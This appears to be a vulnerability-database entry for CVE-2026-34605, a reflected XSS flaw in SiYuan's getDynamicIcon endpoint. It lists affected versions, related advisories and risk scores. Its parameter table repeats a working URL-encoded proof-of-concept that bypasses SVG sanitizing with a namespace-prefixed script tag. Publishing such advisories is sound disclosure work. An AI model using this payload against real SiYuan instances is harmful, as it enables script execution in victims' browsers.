CVE-2026-34605
🗓️ 31 Mar 2026 21:50:10Reported by GitHub_MType 
cve🔗 web.nvd.nist.gov📰️ 1 Media mentions👁 73 Views🌐 WEB
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
 | CVE-2026-34605 | 31 Mar 202621:50 | – | attackerkb |
 | CVE-2026-34605 | 30 Mar 202603:08 | – | circl |
 | SiYuan cross-site scripting vulnerabilities | 31 Mar 202600:00 | – | cnnvd |
 | CVE-2026-34605 SiYuan: Reflected XSS via SVG namespace prefix bypass in SanitizeSVG ( getDynamicIcon, unauthenticated ) | 31 Mar 202621:50 | – | cvelist |
 | EUVD-2026-17687 | 1 Apr 202600:30 | – | euvd |
 | SiYuan vulnerable to reflected XSS via SVG namespace prefix bypass in SanitizeSVG (getDynamicIcon, unauthenticated) | 1 Apr 202600:30 | – | github |
 | SiYuan Note - Cross-Site Scripting Detection | 28 Jul 202611:27 | – | kittysploit |
 | CVE-2026-34605 | 31 Mar 202621:50 | – | mend |
 | SiYuan Note - Cross-Site Scripting | 3 Nov 202602:03 | – | nuclei |
 | CVE-2026-34605 | 31 Mar 202622:16 | – | nvd |
10
[
{
"vendor": "siyuan-note",
"product": "siyuan",
"versions": [
{
"version": ">= 3.6.0, < 3.6.2",
"status": "affected"
}
]
}
]| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| type | query param | /api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E | Unauthenticated reflected Cross-Site Scripting (XSS) via the content parameter. The application fails to properly filter SVG elements with namespace prefixes (e.g., <x:script>), allowing execution of arbitrary JavaScript. | CWE-79 |
| color | query param | /api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E | Unauthenticated reflected Cross-Site Scripting (XSS) via the content parameter. The application fails to properly filter SVG elements with namespace prefixes (e.g., <x:script>), allowing execution of arbitrary JavaScript. | CWE-79 |
| content | query param | /api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E | Unauthenticated reflected Cross-Site Scripting (XSS) via the content parameter. The application fails to properly filter SVG elements with namespace prefixes (e.g., <x:script>), allowing execution of arbitrary JavaScript. | CWE-79 |
Data
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17 Jun 2026 10:39Current
8High risk
Vulners AI Score8
CVSS 3.16.1
CVSS 48.6
EPSS0.00469
SSVC